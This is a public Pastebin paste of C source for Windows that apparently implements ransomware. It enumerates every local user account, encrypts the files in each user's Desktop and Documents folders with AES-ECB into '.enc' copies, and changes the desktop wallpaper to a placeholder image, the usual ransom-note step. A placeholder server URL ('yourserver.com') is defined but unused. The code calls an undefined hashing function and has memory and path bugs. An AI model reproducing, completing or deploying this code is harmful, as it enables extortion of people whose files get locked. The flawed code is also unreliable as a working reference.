Guest User

Untitled

a guest
Jul 23rd, 2023
834
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.82 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <openssl/aes.h>
  3. #include <openssl/rand.h>
  4. #include <openssl/rsa.h>
  5. #include <openssl/pem.h>
  6. #include <openssl/err.h>
  7. #include <curl/curl.h>
  8. #include <Windows.h>
  9. #include <lm.h>
  10. #include <wchar.h>
  11.  
  12. #define CHUNK_SIZE 1024
  13. #define AES_KEY_SIZE 256
  14.  
  15. unsigned char* generate_aes_key() {
  16.     unsigned char* key = malloc(AES_KEY_SIZE / 8);
  17.     if (RAND_bytes(key, AES_KEY_SIZE / 8) != 1) {
  18.         return NULL;
  19.     }
  20.     return key;
  21. }
  22.  
  23. void display_message_on_desktop(char* message) {
  24.     SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, "path_to_your_image.jpg", SPIF_UPDATEINIFILE);
  25. }
  26.  
  27. int encrypt_aes(AES_KEY *aes_key, unsigned char* data, int data_len, unsigned char* encrypted_data) {
  28.     int padding = AES_BLOCK_SIZE - data_len % AES_BLOCK_SIZE;
  29.     int i;
  30.     for (i = data_len; i < data_len + padding; i++) {
  31.         data[i] = padding;
  32.     }
  33.     int num_chunks = (data_len + padding) / AES_BLOCK_SIZE;
  34.     for (i = 0; i < num_chunks; i++) {
  35.         AES_ecb_encrypt(data + AES_BLOCK_SIZE * i, encrypted_data + AES_BLOCK_SIZE * i, aes_key, AES_ENCRYPT);
  36.     }
  37.     return num_chunks * AES_BLOCK_SIZE;
  38. }
  39.  
  40. void aes_encrypt_file(char* filename, unsigned char* key, char* outputFilename) {
  41.     FILE *file, *encryptedFile;
  42.     AES_KEY aes_key;
  43.     unsigned char chunk[CHUNK_SIZE];
  44.     unsigned char encrypted_chunk[CHUNK_SIZE + AES_BLOCK_SIZE];
  45.     int bytes_read, bytes_encrypted;
  46.  
  47.     if (!(file = fopen(filename, "rb"))) {
  48.         fprintf(stderr, "Unable to open file %s\n", filename);
  49.         return;
  50.     }
  51.  
  52.     if (!(encryptedFile = fopen(outputFilename, "wb"))) {
  53.         fprintf(stderr, "Unable to open file %s\n", outputFilename);
  54.         fclose(file);
  55.         return;
  56.     }
  57.  
  58.     AES_set_encrypt_key(key, AES_KEY_SIZE, &aes_key);
  59.  
  60.     while ((bytes_read = fread(chunk, 1, CHUNK_SIZE, file))) {
  61.         bytes_encrypted = encrypt_aes(&aes_key, chunk, bytes_read, encrypted_chunk);
  62.         fwrite(encrypted_chunk, 1, bytes_encrypted, encryptedFile);
  63.     }
  64.  
  65.     fclose(encryptedFile);
  66.     fclose(file);
  67. }
  68.  
  69. void process_directory(const char* directory_path, unsigned char* aes_key, char* url, char* response) {
  70.     WIN32_FIND_DATA find_data;
  71.     HANDLE hFind;
  72.     char path[MAX_PATH];
  73.     strncpy(path, directory_path, sizeof(path));
  74.     strncat(path, "\\*", sizeof(path) - strlen(path) - 1);
  75.    
  76.     hFind = FindFirstFile(path, &find_data);
  77.     if (hFind == INVALID_HANDLE_VALUE) {
  78.         printf("FindFirstFile failed (%d)\n", GetLastError());
  79.         return;
  80.     }
  81.  
  82.     do {
  83.         if (!(find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
  84.             char full_filepath[MAX_PATH];
  85.             strncpy(full_filepath, directory_path, sizeof(full_filepath));
  86.             strncat(full_filepath, "\\", sizeof(full_filepath) - strlen(full_filepath) - 1);
  87.             strncat(full_filepath, find_data.cFileName, sizeof(full_filepath) - strlen(full_filepath) - 1);
  88.             char* encryptedFilename = strcat(full_filepath, ".enc");
  89.             aes_encrypt_file(full_filepath, aes_key, encryptedFilename);
  90.             unsigned char* hash = compute_sha256(encryptedFilename);
  91.         }
  92.     } while (FindNextFile(hFind, &find_data) != 0);
  93.  
  94.     FindClose(hFind);
  95. }
  96.  
  97. void process_all_users(unsigned char* aes_key, char* url, char* response) {
  98.     LPUSER_INFO_0 pBuf = NULL;
  99.     DWORD dwEntriesRead = 0;
  100.     DWORD dwTotalEntries = 0;
  101.     DWORD resume = 0;
  102.     NET_API_STATUS nStatus;
  103.  
  104.     do {
  105.         nStatus = NetUserEnum(NULL, 0, 0, (LPBYTE*)&pBuf, MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, &resume);
  106.         if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) {
  107.             if ((pBuf != NULL) && (dwEntriesRead > 0)) {
  108.                 for (DWORD i = 0; i < dwEntriesRead; i++) {
  109.                     if (pBuf[i].usri0_name != NULL) {
  110.                         char desktopPath[MAX_PATH];
  111.                         char documentsPath[MAX_PATH];
  112.                         snprintf(desktopPath, sizeof(desktopPath), "C:\\Users\\%S\\Desktop", pBuf[i].usri0_name);
  113.                         snprintf(documentsPath, sizeof(documentsPath), "C:\\Users\\%S\\Documents", pBuf[i].usri0_name);
  114.                         process_directory(desktopPath, aes_key, url, response);
  115.                         process_directory(documentsPath, aes_key, url, response);
  116.                     }
  117.                 }
  118.             }
  119.         }
  120.  
  121.         if (pBuf != NULL) {
  122.             NetApiBufferFree(pBuf);
  123.             pBuf = NULL;
  124.         }
  125.     } while (nStatus == ERROR_MORE_DATA);
  126. }
  127.  
  128. int main(int argc, char** argv) {
  129.     unsigned char* aes_key = generate_aes_key();
  130.     char* url = "https://yourserver.com";
  131.     char* response = malloc(CHUNK_SIZE);
  132.     process_all_users(aes_key, url, response);
  133.     display_message_on_desktop("File transfer completed successfully.");
  134.     return 0;
  135. }
  136.  
Advertisement
Add Comment
Please, Sign In to add comment